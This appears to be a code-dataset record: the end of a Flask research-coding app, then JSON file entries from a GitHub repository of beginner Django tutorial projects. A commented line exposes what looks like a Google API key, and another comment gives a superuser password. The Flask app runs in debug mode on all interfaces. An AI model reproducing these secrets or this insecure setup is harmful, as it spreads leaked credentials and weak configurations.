user=aaa.current_user, users=users)\n \n except Exception as e:\n return jsonify(ok=False, msg=e)\n\n\n \n # SETUP ROUTES\n \n @app.route('/')\n def index():\n \"\"\"Only authenticated users can see this\"\"\"\n aaa.require(fail_redirect='/login')\n \n user = aaa.current_user\n\n cursor=db.megameta.codes.find({'uid': user.username}, {'stim_id': 1}).sort('stim_id', pymongo.ASCENDING)\n coded_cnt = cursor.count()\n coded_stims = {}\n for id in cursor:\n stim_id = id['stim_id']\n project = stim_id.split('-')[0]\n try:\n coded_stims[project].append(stim_id)\n except:\n coded_stims[project]=[stim_id]\n \n # \n pipeline = [ \n {\"$group\": { \"_id\": { \"stim_id\": \"$stim_id\"} , \"count\": {\"$sum\": 1}}},\n {\"$match\": { \"count\": {\"$gt\": 1}}}\n ]\n \n cursor=db.megameta.codes.aggregate(pipeline)\n \n completed = [i['_id']['stim_id'] for i in cursor]\n \n filter_ids = []\n for _, v in coded_stims.items():\n filter_ids.extend(v)\n \n to_code = gs.get_stim_ids(filter=filter_ids+completed)\n \n \n sample = []\n for ids in to_code.values():\n sample.extend(ids)\n \n sample_size = min(5, len(sample))\n \n sample5 = random.sample(sample, sample_size)\n \n if len(sample5)<1:\n sample_url = None if len(sample5)==0 else '/codestim/{}?next={}'.format(sample5[0])\n else:\n sample_url = '/codestim/{}?next={}'.format(sample5[0], ','.join(sample5[1:]))\n \n return render_template('main.html',\n user=user,\n coded_cnt = coded_cnt,\n coded_stims = coded_stims,\n to_code = to_code,\n random_sample_url = sample_url\n \n )\n\n \n \n\n @app.route('/codestim/<stim_id>', methods=['GET'])\n def codestim(stim_id):\n \n aaa.require(fail_redirect='/login') \n \n user = aaa.current_user\n \n next = request.args.get(\"next\",0)\n\n if next:\n next_list = next.split(',')\n \n \n project, sid = stim_id.split('-')\n \n stim_html = get_stimuli(project, sid)\n \n return render_template('code_stim.html', \n stim_id=stim_id, \n user=user, next=next,\n stim_html=stim_html)\n\n\n\n \n \n\n # serve stimuli\n @app.route('/get_stimuli/<project>-<stim_id>', methods=['GET'])\n def get_stimuli(project, stim_id):\n print(project, ' - ', stim_id)\n return gs.get_stim(project, stim_id)\n\n \n\n\n @app.route('/codes/<project>-<stim_id>', methods=['GET', 'POST'])\n def get_codes(project, stim_id):\n\n uid = request.args.get(\"uid\")\n\n full_stim_id = \"{}-{}\".format(project,stim_id)\n print(full_stim_id)\n codes = db.megameta.codes\n\n res = codes.find_one({'uid': uid, 'stim_id': full_stim_id})\n print('RESULT', res)\n\n if not res:\n res={'uid': uid, 'stim_id': full_stim_id, 'data': {}}\n else:\n del(res['_id'])\n\n if request.method=='POST':\n post_data = request.get_json()\n res['data'] = { k:v for k,v in post_data.items() if k not in ['uid', 'stim_id', 'data', '_id']}\n res['last_modified'] = datetime.datetime.utcnow()\n print('POST data:', res)\n try:\n result = codes.replace_one(\n {'uid': uid, 'stim_id': full_stim_id},\n res,\n upsert=True\n )\n print('UPDATED', result.modified_count)\n except(Exception, e):\n print(e)\n\n return json_util.dumps(res)\n else:\n return json_util.dumps(res)\n\n\n @app.route('/get_codes_for/<uids>', methods=['GET'])\n def get_codes_for_user(uids):\n\n data = []\n \n log_filename = request.args.get(\"filename\", \"log.csv\")\n \n log_filename = log_filename if log_filename.endswith('.csv') else log_filename + '.csv'\n\n for uid in uids.split('|'):\n data.extend(gc.get_codes_for(uid, db))\n\n try:\n cdf=pd.io.json.json_normalize(data)\n \n # rename columns\n \n cdf.sort_values('stim_id', inplace=True)\n buffer = StringIO()\n csvfile = cdf.to_csv(buffer, encoding='utf-8', index=False) \n\n\n response = Response(buffer.getvalue(), mimetype='text/csv')\n response.headers.set(\"Content-Disposition\", \"attachment\", \n filename=log_filename)\n return response\n\n except:\n return None\n\n\n\n\n # serve media\n @app.route('/media/<path:mpath>', methods=['GET'])\n def serve_static(mpath):\n print(mpath)\n media_path = os.path.join(STATIC_ROOT, mpath)\n if os.path.exists(media_path):\n return send_from_directory(STATIC_ROOT, mpath)\n else:\n return None\n\n @app.route('/<jpath>_json', methods=['GET'])\n def get_survey2(jpath):\n print(jpath)\n json_mapping = {\n 'descriptions': 'code_description',\n 'survey': 'survey_items_with_desc'\n }\n \n # combine code_description items into survey JSON\n \n if jpath=='survey':\n survey = json.load(open('survey_items.json'))\n desc = json.load(open('code_description.json'))\n \n table_template = '<table><thead><th>Value</th><th>Description</th></thead><tbody>{}</tbody></table>'\n row_template = '<tr><td>{val}</td><td>{desc}</td></tr>'\n\n var_dict = {}\n for var in desc:\n html = table_template.format('\\n'.join([row_template.format(**d) for d in var['values']]))\n var_dict[var['variable']]=html\n \n\n for page in survey['pages']:\n for item in page['elements']:\n name = item['name']\n if var_dict.get(name):\n item['popupdescription']=var_dict.get(name)\n \n return jsonify(survey)\n \n else:\n return send_from_directory('.','{}.json'.format(json_mapping[jpath]))\n\n \n return app\n\n# --- MAIN ----\n \nif __name__ == '__main__':\n \n app = create_app()\n app.secret_key = os.urandom(24)\n \n STATIC_ROOT='../../stimuli'\n \n db = pymongo.MongoClient()\n \n print(db)\n \n app.run(host='0.0.0.0', port=5000, debug=True)\n\n" } ]
5
S-modi/django
https://github.com/S-modi/django
74e526711817aff861cb6e5e50df93c3cd4c7555
a398477cd71e08609236a6443ca0953f29880879
f2c4380541a69e5bf1fa92cfb429a10035a251ea
refs/heads/master
2023-08-10T16:52:55.343633
2020-12-22T09:53:03
2020-12-22T09:53:03
281,136,328
0
0
null
2020-07-20T14:17:12
2020-12-22T09:53:07
2021-09-22T19:38:30
Python
[ { "alpha_fraction": 0.7322033643722534, "alphanum_fraction": 0.7525423765182495, "avg_line_length": 25.81818199157715, "blob_id": "5506e2231e49f0e659e3a78cb62c4587bbb10fde", "content_id": "ba4bba72b1ba14b233f85a5266b3afc0564655fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "no_license", "max_line_length": 47, "num_lines": 11, "path": "/learning_templates/basic_app/models.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.db import models\n# SuperUserInformation\n# User: Jose\n# Email: [email protected]\n# Password: testpassword\n\n# Create your models here.\nclass Student(models.Model):\n Name=models.CharField(max_length=264)\n rollnumber=models.IntegerField(unique=True)\n batch=models.CharField(max_length=264)\n" }, { "alpha_fraction": 0.4523809552192688, "alphanum_fraction": 0.6746031641960144, "avg_line_length": 14.75, "blob_id": "3eb45e965b3e334a7b9215807f329502be37b5c8", "content_id": "f28bb071279bd4476c3d9535cd1feed710992061", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 126, "license_type": "no_license", "max_line_length": 22, "num_lines": 8, "path": "/todo_app-master/requirements.txt", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "chardet==2.3.0\nDjango==3.0.7 \ngunicorn==20.0.4 \nidna==2.9\npython-dateutil==2.4.2\npytz==2019.3\nrequests==2.9.1\nurllib3==1.13.1\n" }, { "alpha_fraction": 0.8302752375602722, "alphanum_fraction": 0.8302752375602722, "avg_line_length": 30.14285659790039, "blob_id": "25f9b32ecf7a3b8e68087dd210a3bb05968e8953", "content_id": "3226a7e5130918435f305c4b98cd1a9bf769eb6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 218, "license_type": "no_license", "max_line_length": 57, "num_lines": 7, "path": "/Django_Level_Five/learning_users/basic_app/admin.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import UserProfileInfo, User\n\n# Register your models here.\nclass UserProfileInfoAdmin(admin.ModelAdmin):\n pass\nadmin.site.register(UserProfileInfo,UserProfileInfoAdmin)\n" }, { "alpha_fraction": 0.757446825504303, "alphanum_fraction": 0.757446825504303, "avg_line_length": 32.57143020629883, "blob_id": "906831713709d17b5fbe81f0d83dee8db0ceab2a", "content_id": "259b44352a1d93fe3e1c5235b70ba3d3f769e75d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 235, "license_type": "no_license", "max_line_length": 59, "num_lines": 7, "path": "/second_project/second_app/views.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\n# Create your views here.\ndef index(request):\n my_dic={'insert_me':\"USE SETTING FOR MORE INFORMATION\"}\n return render(request,'index.html',context=my_dic)\n" }, { "alpha_fraction": 0.7936962842941284, "alphanum_fraction": 0.7936962842941284, "avg_line_length": 21.933332443237305, "blob_id": "10bf91a5c4c838443025fec153ff573a7f312c99", "content_id": "c422b3603d06370c30de2a1aa12b5529c577424c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 349, "license_type": "no_license", "max_line_length": 51, "num_lines": 15, "path": "/Django_Level_One/first_project/first_app/admin.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom first_app.models import *\n\n\nclass AccessRecordAdmin(admin.ModelAdmin):\n pass\nadmin.site.register(AccessRecord,AccessRecordAdmin)\n\nclass TopicAdmin(admin.ModelAdmin):\n pass\nadmin.site.register(Topic,TopicAdmin)\n\nclass WebpageAdmin(admin.ModelAdmin):\n pass\nadmin.site.register(Webpage,WebpageAdmin)\n \n" }, { "alpha_fraction": 0.8100558519363403, "alphanum_fraction": 0.8100558519363403, "avg_line_length": 28.83333396911621, "blob_id": "86b12092eb8a3060f41500e801b40b24f48735b2", "content_id": "fed24ed33e25dcc7ff24b94e4ce0779a37de97b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 179, "license_type": "no_license", "max_line_length": 41, "num_lines": 6, "path": "/Django_Level_Four/learning_templates/basic_app/admin.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Student\n# Register your models here.\nclass StudentAdmin(admin.ModelAdmin):\n pass\nadmin.site.register(Student,StudentAdmin)\n" }, { "alpha_fraction": 0.7604166865348816, "alphanum_fraction": 0.7604166865348816, "avg_line_length": 15, "blob_id": "04136ebb5066cdeb6368cf2ddd38ca09baeba894", "content_id": "fa44f2fa63c9d1b6d79d45e66d3513de44e99af9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 96, "license_type": "no_license", "max_line_length": 28, "num_lines": 6, "path": "/second_project/second_app/urls.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom second_app import views\n\nurlpatterns=[\npath('',views.index)\n]\n" }, { "alpha_fraction": 0.7123287916183472, "alphanum_fraction": 0.7214611768722534, "avg_line_length": 25.8125, "blob_id": "3aaf179de08d8d4ec384c5687267388138af288c", "content_id": "49f0025644d49ee571cbef3b3453e817a09653c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 438, "license_type": "no_license", "max_line_length": 83, "num_lines": 16, "path": "/todo_app-master/tasks/admin.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom .models import Task\n\nadmin.site.register(Task)\n\n# # Project name eyantraApr2020\n# #AIzaSyBRnIqOuGzvnv0y9z5wB4g5HzbV3hG26pc\n# from django_google_maps import widgets as map_widgets\n# from django_google_maps import fields as map_fields\n\n# class RentalAdmin(admin.ModelAdmin):\n# formfield_overrides = {\n# map_fields.AddressField: {'widget': map_widgets.GoogleMapsAddressWidget},\n# }\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7444444298744202, "alphanum_fraction": 0.7444444298744202, "avg_line_length": 17, "blob_id": "73505b3364e2205f22478c53f52a773979ffa059", "content_id": "ba20349748e77511a758ef92754c41734aeed70b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 90, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/four_project/four_app/apps.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass FourAppConfig(AppConfig):\n name = 'four_app'\n" }, { "alpha_fraction": 0.7078651785850525, "alphanum_fraction": 0.7303370833396912, "avg_line_length": 28.66666603088379, "blob_id": "a90bc3868b812acff62329cc4c449c6b279065a3", "content_id": "594884f74d99e74d45b04237d603deb46dc18731", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 89, "license_type": "no_license", "max_line_length": 46, "num_lines": 3, "path": "/todo_app-master/README.md", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "# todo_app\n## website : http://vishtodoapp.herokuapp.com/\ntodo app made using django 3.0\n" }, { "alpha_fraction": 0.6556291580200195, "alphanum_fraction": 0.6754966974258423, "avg_line_length": 17.875, "blob_id": "84de9a92ce7471af3f4c2c0fb261ac89e282827a", "content_id": "235961ba3f2ea029b19bec5d7576dafaaedde91f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 151, "license_type": "no_license", "max_line_length": 41, "num_lines": 8, "path": "/Third_project/Third_app/models.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass Student(models.Model):\n name=models.CharField(max_length=204)\n\n\n def __str__(self):\n return self.name\n" }, { "alpha_fraction": 0.7978141903877258, "alphanum_fraction": 0.7978141903877258, "avg_line_length": 25.14285659790039, "blob_id": "9d1d25ac34102e206b9af0ca824be37ccdc06b62", "content_id": "9398b65b50f6eed9d6e5e05b6039f2884af769e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 183, "license_type": "no_license", "max_line_length": 41, "num_lines": 7, "path": "/Third_project/Third_app/admin.py", "repo_name": "S-modi/django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom Third_app.models import *\n# Register your models here.\nclass StudentAdmin(admin.ModelAdmin):\n pass\n\nadmin.site.register(Student,StudentAdmin)\n" } ]
12
Qweq5/TP_Web_1sem
https://github.com/Qweq5/TP_Web_1sem
6d75d6eab572651000072410da0a090117f6fac0
0be8ff4b689ed9cb1ff9fe4f726cf46aa53b43b9
a579c7e6d9035ae2223cb06924ddb15801d0e437
refs/heads/master
2021-01-23T06:35:09.017753
2018-05-20T13:44:48
2018-05-20T13:44:48
86,379,275
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7056737542152405, "alphanum_fraction": 0.7056737542152405, "avg_line_length": 24.636363983154297, "blob_id": "cb1b6b783a5f47b45b062a9c245fb9fa907ffe6e", "content_id": "afea7334c60a39532fbd7ce1a31d899eab819533", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 282, "license_type": "no_license", "max_line_length": 51, "num_lines": 11, "path": "/app/management/commands/cache_users.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.core.management.base import BaseCommand\n\nfrom app.models import ProjectCache\n\n\nclass Command(BaseCommand):\n help = 'Caches best users'\n\n def handle(self, *args, **options):\n ProjectCache.update_best_users()\n self.stdout.write('Best users -- cached')\n" }, { "alpha_fraction": 0.4106703996658325, "alphanum_fraction": 0.4268164336681366, "avg_line_length": 45.451087951660156, "blob_id": "5f5e53f38f61d792616a543953a96447ea774fce", "content_id": "7f15d991ce55fb74334a97cfe4e57e37c3e0d0bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 8561, "license_type": "no_license", "max_line_length": 235, "num_lines": 184, "path": "/templates/question.html", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n{% load staticfiles %}\n\n{% block title %}<title>AskMax_question</title>{% endblock %}\n\n{% block content %}\n <style type=\"text/css\">\n /*Кнопки лайков */\n.likebutton{\n\tcursor: pointer;\n}\n.anslikebutton{\n\tcursor: pointer;\n}\n.likebtn{\n\tvertical-align: bottom;\n\tcontent: url( {% static 'img/like.png' %});\n}\n.islikebtn{\n\tvertical-align: bottom;\n content: url( {% static 'img/is_liked.png' %});\n}\n.dislikebtn{\n\tvertical-align: bottom;\n content: url( {% static 'img/dislike.png' %});\n\n}\n.isdislikebtn{\n\tvertical-align: bottom;\n content: url(\"../static/img/is_disliked.png\");\n}\n.page-question-like{\n\twidth: 120px;\n\tmargin-top: 110px;\n\tmargin-left: -110px;\n\tfloat: left;\n\ttext-align: center;\n}\n.question-like{\n\twidth: 110px;\n\tmargin-left: -10px;\n margin-top: 0px;\n\ttext-align: center;\n}\n.page-like-img{\n\twidth: 20px;\n\theight: 20px;\n}\n </style>\n <br>\n {% block question %}\n <span id=\"error{{ question.id }}\" class=\"bg-danger\" style=\"margin-left: 75%;\"></span>\n <div class=\"row\" id=\"main_question\">\n <div class=\"row\">\n <div class=\"col-xs-3 col-sm-3\">\n <div class=\"col-xs-12 col-sm-12\">\n <img src=\"{{ question.author.profile.avatar.url }}\" width=\"100%\" height=\"100%\">\n </div>\n\n{# <div class=\"col-xs-12 col-sm-12 button_count\">#}\n{# <span class=\"label label-primary\">#}\n{# {% if request.user.is_authenticated %}#}\n{# <a class=\"likebutton\" value=\"1\" qid=\"{{ question.id }} \" id=\"btnlike{{ question.id }}\">#}\n{# <span class=\"glyphicon glyphicon-menu-up \" style=\"color: white;\" ></span>#}\n{# </a>#}\n{# {% endif %}#}\n{# <span id=\"qRating{{ question.id }}\">{{ question.likes }}</span>#}\n{# {% if request.user.is_authenticated %}#}\n{# <a class=\"likebutton\" value=\"-1\" qid=\"{{ question.id }}\" id=\"btndislike{{ question.id }}\">#}\n{# <span class=\"glyphicon glyphicon-menu-down\" style=\"color: white;\"></span></a>#}\n{# {% endif %}#}\n{# </span>#}\n{##}\n{# </div>#}\n <div class=\"col-xs-12 col-sm-12 button_count\" style=\"margin-left: 5px;\">\n <div class=\"question-like label label-default\">\n <a class=\"likebutton\" value=\"-1\" qid=\"{{ question.id }}\" id=\"btndislike{{ question.id }}\"><span class=\"page-like-img {% if islike == -1 %}is{% endif %}dislikebtn\"/></a>\n <span id=\"qRating{{ question.id }}\" class=\"label label-default\">{{ question.likes }}</span>\n <a class=\"likebutton\" value=\"1\" qid=\"{{ question.id }}\" id=\"btnlike{{ question.id }}\"><span class=\"page-like-img {% if islike == 1 %}is{% endif %}likebtn\"></a>\n </div>\n </div>\n </div>\n <div class=\"col-xs-9 col-sm-9\">\n <div class=\"row\">\n <a href=\"{% url 'question' question.id %}\"><h3\n style=\"size: 22px; margin-top: 0px; margin-bottom: 5px\"> {{ question.title }} </h3>\n </a>\n <p style=\" font-size:16px; margin: 15px 20px 15px 0\">\n {{ question.text }}\n </p>\n <div>\n <span class=\"glyphicon glyphicon-tags\"></span> Tags :\n {% for tag in question.tags.all %}\n <a href=\"{% url 'tag' tag.title %}\"><span\n class=\"label label-info btn-inverse\">{{ tag.title }}</span></a>\n {% endfor %}\n </div>\n </div>\n </div>\n </div>\n </div>\n {% endblock %}\n <br>\n <hr>\n {% for answer in answers %}\n <span id=\"error{{ answer.id }}ans\" class=\"bg-danger\" style=\"margin-left: 75%;\"></span>\n <a name=\"comment{{ answer.id }}\"></a>\n <div class=\"jumbotron \" style=\"padding: 20px 20px;\">\n <div class=\"row\">\n <div class=\"col-xs-2 col-sm-2\">\n <div class=\"col-xs-12 col-sm-12\">\n <img src=\"{{ question.author.profile.avatar.url }}\" width=\"100%\" height=\"100%\">\n </div>\n <div class=\"col-xs-12 col-sm-12 button_count\">\n\n{# <a class=\"anslikebutton\" value=\"1\" aid=\"{{ answer.id }}\">#}\n{# <span class=\"glyphicon glyphicon-menu-up\" style=\"color: white;\"></span>#}\n{# </a>#}\n{# <span id=\"aRating{{ answer.id }}\">{{ answer.likes }}</span>#}\n{# <a class=\"anslikebutton\" value=\"-1\" aid=\"{{ answer.id }}\">#}\n{# <span class=\"glyphicon glyphicon-menu-down\" style=\"color: white;\"></span>#}\n{# </a>#}\n{# </span>#}\n <div class=\"col-xs-12 col-sm-12 button_count\" style=\"margin-left: -10px;\">\n <div class=\"answer-like label label-default\">\n <a class=\"anslikebutton\" value=\"-1\" aid=\"{{ answer.id }}\" id=\"ansbtndislike{{ answer.id }}\" style=\"margin: 4px -4px;\"><span class=\"page-like-img {% if answer.id in dislikes %}is{% endif %}dislikebtn\"/></a>\n <span id=\"aRating{{ answer.id }}\" class=\"label label-default\">{{ answer.likes }}</span>\n <a class=\"anslikebutton\" value=\"1\" aid=\"{{ answer.id }}\" id=\"ansbtnlike{{ answer.id }}\" style=\"margin: 4px -4px;\"><span class=\"page-like-img {% if answer.id in likes %}is{% endif %}likebtn\"></a>\n </div>\n </div>\n </div>\n </div>\n <div class=\"col-xs-10 col-sm-10\">\n <div class=\"row\">\n <a href=\"#\"><h3\n style=\"size: 22px; margin-top: 0px; margin-bottom: 5px\"> {{ answer.title }} </h3>\n </a>\n <p style=\" font-size:16px; margin-bottom: 15px\">\n {{ answer.text }}\n </p>\n <div>\n {% if question.author == request.user %}\n {% if answer.correct %}\n <div class=\"label label-default\" style=\"width:120px; height: 20px; margin: 4px 4px;text-align: center;background-color: #5cb85c;\"> correct answer!</div>\n {% else %}\n <div id=\"ansid{{ answer.id }}\">\n <button type=\"button\" aid=\"{{ answer.id }}\" class=\"btn btn-outline-success answer-vote\" >✓ Correct\n </button>\n </div>\n {% endif %}\n {% else %}\n {% if answer.correct %}\n <div class=\"label label-default\" style=\"width:120px; height: 20px; margin: 4px 4px;text-align: center; background-color: #5cb85c;\"> It`s correct answer</div>\n {% endif %}\n {% endif %}\n </div>\n </div>\n </div>\n </div>\n </div>\n {% endfor %}\n {% include 'paginator.html' with paginated=answers %}\n {% if request.user.is_authenticated %}\n\n <hr/>\n <div class=\"ask-answer-form\">\n <form class=\"form-horizontal\" method=\"post\" action=\"\">\n {% csrf_token %}\n <div class=\"form-group\">\n <div class=\"col-sm-12\">\n {{ form.text }}\n </div>\n </div>\n <div class=\"form-group\">\n <div class=\"col-sm-4\">\n <button type=\"submit\" class=\"btn btn-primary\">Answer</button>\n </div>\n </div>\n </form>\n </div>\n {% else %}\n <p>You can not add the answers</p>\n {% endif %}\n{% endblock %}\n" }, { "alpha_fraction": 0.6207644939422607, "alphanum_fraction": 0.6242697238922119, "avg_line_length": 25.504425048828125, "blob_id": "ea01ca5596cb7e7efc42c3b558dcbeb27feb13f2", "content_id": "e3b0dd0d523de07e360aaf98a4ee1d21d388200a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5991, "license_type": "no_license", "max_line_length": 89, "num_lines": 226, "path": "/app/models.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\nfrom django.db.models import Count, Sum\nfrom django.core.urlresolvers import reverse\nfrom app import helpers\nimport datetime\n\nfrom django.core.cache import cache\n\n\nclass ProfileManager(models.Manager):\n def get_name(self, user_name):\n return self.filter(user__username=user_name)\n\n def get_username(self, id):\n return self.filter(user__id=id)\n\n\nclass TagManager(models.Manager):\n def with_question_count(self):\n return self.annotate(questions_count=Count('question'))\n\n def order_by_question_count(self):\n return self.with_question_count().order_by('-questions_count')\n\n def count_popular(self):\n return self.order_by_question_count().all()[:20]\n\n def get_by_title(self, title):\n return self.get(title=title)\n\nfrom django.db.models import Avg\nfrom django.db.models import Max\n\nclass QuestionLikeManager(models.Manager):\n\n def has_question(self, question):\n return self.filter(question=question)\n\n def sum_for_question(self, question):\n return self.has_question(question).aggregate(sum=Sum('value'))['sum']\n\n\n def get_value(self, question):\n return self.has_question(question).aggregate(Max('value'))\n\n def add(self, author, question, value):\n try:\n obj = self.get(\n author=author,\n question=question\n )\n except QuestionLike.DoesNotExist:\n obj = self.create(\n author=author,\n question=question,\n value=value\n )\n question.likes = self.sum_for_question(question)\n question.save()\n else:\n raise QuestionLike.AlreadyLike\n\n def add_or_update(self, author, question, value):\n obj, new = self.update_or_create(\n author=author,\n question=question,\n defaults={'value': value}\n )\n\n question.likes = self.sum_for_question(question)\n question.save()\n return new\n\n\nclass QuestionManager(models.Manager):\n def list_new(self):\n return self.order_by('-date')\n\n def list_hot(self):\n return self.order_by('-likes')\n\n def list_tag(self, tag):\n return self.filter(tags=tag)\n\n def get_single(self, id):\n return self.get(pk=id)\n\n\n# class AnswerQuerySet(models.QuerySet):\n# def with_author(self):\n# return self.select_related('author').select_related('author__profile')\n#\n# def with_question(self):\n# return self.select_related('question')\n#\n# def order_by_popularity(self):\n# return self.order_by('-likes')\n\n\nclass AnswerLikeManager(models.Manager):\n def has_answer(self, answer):\n return self.filter(answer=answer)\n\n def sum_for_answer(self, answer):\n return self.has_answer(answer).aggregate(sum=Sum('value'))['sum']\n\n def add(self, author, answer, value):\n try:\n obj = self.get(\n author=author,\n answer=answer\n )\n except AnswerLike.DoesNotExist:\n obj = self.create(\n author=author,\n answer=answer,\n value=value\n )\n answer.likes = self.sum_for_answer(answer)\n answer.save()\n else:\n raise AnswerLike.AlreadyLike\n\n def add_or_update(self, author, answer, value):\n obj, new = self.update_or_create(\n author=author,\n answer=answer,\n defaults={'value': value}\n )\n\n answer.likes = self.sum_for_answer(answer)\n answer.save()\n return new\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(User)\n avatar = models.ImageField(upload_to='avatars')\n\n objects = ProfileManager()\n\n def __str__(self):\n return self.user\n\n\nclass Tag(models.Model):\n objects = TagManager()\n title = models.CharField(max_length=30)\n\n\nclass Question(models.Model):\n title = models.CharField(max_length=100)\n text = models.TextField()\n author = models.ForeignKey(User)\n date = models.DateTimeField(default=timezone.now)\n tags = models.ManyToManyField(Tag)\n likes = models.IntegerField(default=0)\n isVote = models.BooleanField(default = True)\n\n objects = QuestionManager()\n\n def get_answer_on_id(self, id):\n try:\n ans = Answer.objects.get(pk=id)\n except Answer.DoesNotExist:\n ans = None\n return ans\n\n def __str__(self):\n return self.text\n\n\nclass QuestionLike(models.Model):\n class AlreadyLike(Exception):\n def __init__(self):\n super(QuestionLike.AlreadyLike, self).__init__('You voted for this question')\n\n UP = 1\n DOWN = -1\n\n question = models.ForeignKey(Question)\n author = models.ForeignKey(User)\n value = models.SmallIntegerField(default=1)\n\n objects = QuestionLikeManager()\n\n\nclass Answer(models.Model):\n text = models.TextField()\n question = models.ForeignKey(Question)\n author = models.ForeignKey(User)\n date = models.DateTimeField(default=timezone.now)\n correct = models.BooleanField(default=False)\n likes = models.IntegerField(default=0)\n\n\nclass AnswerLike(models.Model):\n class AlreadyLike(Exception):\n def __init__(self):\n super(AnswerLike.AlreadyLike, self).__init__('You voted for this answer')\n\n UP = 1\n DOWN = -1\n\n answer = models.ForeignKey(Answer)\n author = models.ForeignKey(User)\n value = models.SmallIntegerField(default=0)\n\n objects = AnswerLikeManager()\n def __str__(self):\n return self.rating\n\n\nclass ProjectCache:\n\n POPULAR_TAGS = 'tags_popular'\n @classmethod\n def get_popular_tags(cls):\n return cache.get(ProjectCache.POPULAR_TAGS, [])\n\n @classmethod\n def update_popular_tags(cls):\n popular = Tag.objects.count_popular()\n cache.set(ProjectCache.POPULAR_TAGS, popular, 60 * 60 * 24)\n\n" }, { "alpha_fraction": 0.7777777910232544, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 21.5, "blob_id": "ce7ffc48d072e2bb5db341b19d5cbb5cc2636e0d", "content_id": "122f4f88ab51aceb2f6655b8beca028729f325a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "no_license", "max_line_length": 48, "num_lines": 8, "path": "/app/admin.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n# from app.models import Question,Answer,Profile\n#\n#\n# admin.site.register(Question)\n# admin.site.register(Answer)\n# admin.site.register(Profile)\n" }, { "alpha_fraction": 0.7845304012298584, "alphanum_fraction": 0.7845304012298584, "avg_line_length": 35.400001525878906, "blob_id": "67bb561b1ba60eec5760f9acc266b0f2aefa3777", "content_id": "9638b377f51b251e5c5d4756b96e9a7a9f134f73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 181, "license_type": "no_license", "max_line_length": 63, "num_lines": 5, "path": "/app/decorators.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.contrib.auth.decorators import login_required\n\n# login required with 'continue' arg\ndef need_login(func):\n return login_required(func, redirect_field_name='continue')" }, { "alpha_fraction": 0.5488441586494446, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 31.18400001525879, "blob_id": "40dbc98d8933c245419bfea5559bf343d90ce663", "content_id": "704ef25230ac517447c136c710a3cb110f997fa9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8046, "license_type": "no_license", "max_line_length": 99, "num_lines": 250, "path": "/app/forms.py", "repo_name": "Qweq5/TP_Web_1sem", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse, Http404\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.models import User\nfrom django import forms\n\nfrom django.contrib.auth.hashers import make_password\nfrom app.models import Profile, Question, Tag, Answer\n\nimport urllib, re\nfrom django.core.files import File\nimport requests\nfrom django.core.files.base import ContentFile\n\nfrom django.forms import Field\n\n\nclass LoginForm(forms.Form):\n login = forms.CharField(\n widget=forms.TextInput(\n attrs={'class': 'form-control', 'placeholder': 'login', }\n ),\n max_length=30,\n label='Login'\n )\n\n password = forms.CharField(\n widget=forms.PasswordInput(\n attrs={'class': 'form-control', 'placeholder': '*******', }\n ),\n label='Password'\n )\n\n def clean(self):\n data = self.cleaned_data\n user = authenticate(username=data.get('login', ''), password=data.get('password', ''))\n\n if user is not None:\n if user.is_active:\n data['user'] = user\n else:\n raise forms.ValidationError('This user don\\'t active')\n 